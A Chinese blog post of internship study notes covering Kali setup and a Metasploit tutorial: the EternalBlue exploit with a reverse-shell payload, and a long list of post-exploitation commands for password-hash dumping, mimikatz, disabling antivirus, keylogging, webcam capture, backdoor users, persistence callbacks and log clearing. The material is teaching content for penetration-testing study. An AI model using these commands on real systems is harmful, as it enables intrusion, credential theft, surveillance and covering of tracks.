zoukankan      html  css  js  c++  java
  • 粤嵌科技毕业实习Day5

    粤嵌科技毕业实习Day5

    1.虚拟机安装kali,更换root账号登录,熟悉基础命令,更新源

    安装kali:https://blog.csdn.net/qq_30250551/article/details/108046857?biz_id=102&utm_term=vm15%E5%AE%89%E8%A3%85kali&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-5-108046857&spm=1018.2118.3001.4187

    由于新版的kali2020版本安装没有要求设置root密码,所有默认root没有密码,要想进入root用户需要给修改root密码,在普通用户下使用如下命令:

    sudo passwd root
    

    2.熟悉metasploit的命令及使用

    • Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利 用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
    1. kali安装MSF

      apt-get install metasploit-framework
      /etc/init.d/postgresql start  #启动postgresql数据库
      update-rc.d postgresql enable  #postgresql开机自启动
      
      #初始化MSF数据库,关键!默认创建数据库名:msf,msf_test,用户;msf;默认口令为零;
      msfdb init	
      
    2. 使用方法

      msfconsole  #进入框架
      search  ms17-010	#使用search命令查找相关漏洞: 
      use exploit/windows/smb/ms17_010_eternalblue  #使用use进入模块
      info	#使用info查看模块信息
      set payload windows/x64/meterpreter/reverse_tcp	 #设置攻击载荷
      show options  #查看模块需要配置的参数
      set  RHOST  192.168.125.138  #设置参数
      exploit / run  #攻击
      后渗透阶段
      

      可 以 将 攻 击 代 码 写 入 configure.rc ( 只 要 是 以 .rc 结 尾 的 文 件 ) 配 置 文 件 中 , 然 后 使 用 命 令 msfconsole -r configure.rc 进行自动攻击!

    3. 进阶

    • 漏洞利用(exploit)

      • 里面有针对不同平台不同服务的漏洞。
      • exploit 漏 洞 利 用 模 块 路 径 : /usr/share/metasploitframework/modules/exploits
    • 攻击载荷(payload)

      • Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,简而言之,这种漏洞利用模块可以访问目标系统
      • payload 模 块 路 径 : /usr/share/metasploitframework/modules/payloads
      • Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的 一组机器指令。在大多数情况下,目标 系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。
      • Payload 模块主要有以下三种类型:
        • -Single
          • Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。但有 可 能 会 被 类 似 netcat 这样的非metasploit处理工具所捕捉到。
        • -Stager
          • Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并 下 载 额 外 的 组 件 或 应 用 程 序 。
          • Stager中几种常见的payload
            1. windows/meterpreter/bind_tcp # 正向连接
              • 应用场景:被攻击机无法主动连接到攻击机
            2. windows/meterpreter/reverse_tcp # 反向连接,常用
              • 应用场景:被攻击机能主动连接到攻击机,就算被攻击机开了防火墙也无妨,因为不会阻止被攻击机主动向外连接的流量
            3. windows/meterpreter/reverse_http # 通过监听 80 端口反向连接
              • 应用场景:被攻击机能主动连接到攻击机,被攻击机开了防火墙特别严格,只允许被攻击机的80端口与外部通信
            4. windows/meterpreter/reverse_https # 通过监听 443 端口反向连接
              • 应用场景:被攻击机能主动连接到攻击机,被攻击机开了防火墙特别严格,只允许被攻击机的443端口与外部通信
        • -Stage
          • Stage 是 Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的 功能,而且没有大小限制。
    • Meterpreter

      • Meterpreter是一种后渗透工具,它属于一种在运行过程 中可通过网络进行功能扩展的动态可扩展型Payload。能够通过创建一个新进程并调用注入的DLL来 让目标系统运行注入的DLL文件。
      • 工作原理:
        1. 执行初始的溢出漏洞会话连接(可能是bind正向连接,或者反弹reverse连接)
        2. 反射连接的时候加载dll链接文件,同时后台悄悄处理dll文件。
        3. Meterpreter核心代码初始化 , 通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。
        4. Metasploit服务端收到这个GET请求后就配置相应客户端。
        5. Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
      • Meterpreter的特点:
        • Meterpreter完全驻留在内存,没有写入到磁盘
        • Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到 其它正在运行的进程
        • 默认情况下, Meterpreter的通信是加密的,所以很安全
        • 扩展性,许多新的特征模块可以被加载。
    • 后渗透阶段

      # 要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
      
      # 要想从 meterpreter 退出到MSF框架,输入:background
      
      • meterpreter的指令

        sysinfo             # 查看目标主机系统信息
        run scraper         # 查看目标主机详细信息
        run hashdump        # 导出密码的哈希
        load kiwi           # 加载 mimikatz
        ps                  # 查看目标主机进程信息
        pwd                 # 查看目标当前目录 (windows)
        getlwd              # 查看目标当前目录 (Linux)
        search -f *.jsp -d e:   # 搜索E盘中所有以 .jsp 为后缀的文件
        download  e:	est.txt  /root   # 将目标机的 e:	est.txt 文件下载到/root 目录下
        upload    /root/test.txt d:	est   # 将/root/test.txt 上传到目标机的 d:	est 目录下
        getpid          # 查看当前 Meterpreter Shell 的进程 PID
        migrate 1384     # 将当前 Meterpreter Shell 的进程迁移到 PID 为 1384 的进程上
        idletime            # 查看主机运行时间
        getsystem   # Meterpreter提供了一个getsystem命令,它可以使用多种技术在目标系统中实现提权. 注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
        getuid   # 可以获取当前用户的信息,用户为NT AUTHORITYSYSTEM ,这个也就是Windows的系统权限。
        run  killav  # 关闭杀毒软件,拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件
        screenshot          # 截图
        webcam_list         # 查看目标主机的摄像头
        webcam_snap         # 拍照
        webcam_stream       # 开视频
        execute  参数  -f 可执行文件   # 执行可执行程序
        run getgui -u hack -p 123    # 创建 hack 用户,密码为 123
        run getgui -e                # 开启远程桌面
        keyscan_start                # 开启键盘记录功能
        keyscan_dump                 # 显示捕捉到的键盘记录信息
        keyscan_stop                 # 停止键盘记录功能
        uictl  disable  keyboard     # 禁止目标使用键盘
        uictl  enable   keyboard     # 允许目标使用键盘
        uictl  disable  mouse        # 禁止目标使用鼠标
        uictl  enable   mouse        # 允许目标使用鼠标
        load                         # 使用扩展库
        run                     # 使用扩展库
         
        run persistence -X -i 5 -p 8888 -r 192.168.10.27        # 反弹时间间隔是 5s 会自动连接 192.168.27 的 4444 端口,缺点是容易被杀毒软件查杀
        portfwd add -l 3389 -r 192.168.11.13 -p 3389     # 将 192.168.11.13 的 3389 端口转发到本地的 3389 端口上,这里的 192.168. 11.13 是获取权限的主机的 ip 地址
        clearev      # 清除日志
        
        Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似)
        cd  # 切换目标目录;
        cat  # 读取文件内容;
        rm  # 删除文件;
        edit  # 使用vim编辑文件
        ls  # 获取当前目录下的文件;
        mkdir  # 新建目录;
        rmdir  # 删除目录;
        download  file  # 命令可以帮助我们从目标系统中下载文件
        upload  file   # 命令则能够向目标系统上传文件
        
      • Post 后渗透模块

        • 该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透 攻击动作。

          run post/windows/manage/migrate       # 自动进程迁移
          run post/windows/gather/checkvm       # 查看目标主机是否运行在虚拟机上
          run post/windows/manage/killav          # 关闭杀毒软件
          run post/windows/manage/enable_rdp        # 开启远程桌面服务
          run post/windows/manage/autoroute         # 查看路由信息
          run post/windows/gather/enum_logged_on_users    # 列举当前登录的用户
          run post/windows/gather/enum_applications       # 列举应用程序
          run windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码
          run windows/gather/smart_hashdump               #dump 出所有用户的 hash
          run post/windows/gather/checkvm    # 查看主机是否运行在虚拟机上 
          run scraper  # 获取目标主机的详细信息 
          run windows/gather/credentials/windows_autologin   #抓取自动登录的用户名和密码
          run hashdump   # 需要系统权限, 可以从SAM数据库中导出本地用户账号
          run windows/gather/smart_hashdump   # 需要系统权限,可以导出域内所有用户的hash,可以使用类似John the Ripper这样的工具来破解密码
          

    本文作者:AlubNoBug
    本文链接:https://www.cnblogs.com/AlubNoBug/p/13670546.html

  • 相关阅读:
    最新版 VS2015|Visual Studio Enterprise 2015简体中文版(企业版)
    MY97 日期控件只输入今天之前的值
    VARIANT类型
    C++ Struct
    MFC网络编程
    套接字编程(VC_Win32)
    套接字相关函数
    网络编程
    char str[] 与 char *str的区别详细解析
    Windows下C++多线程同步与互斥简单运用
  • 原文地址:https://www.cnblogs.com/AlubNoBug/p/13670546.html
Copyright © 2011-2022 走看看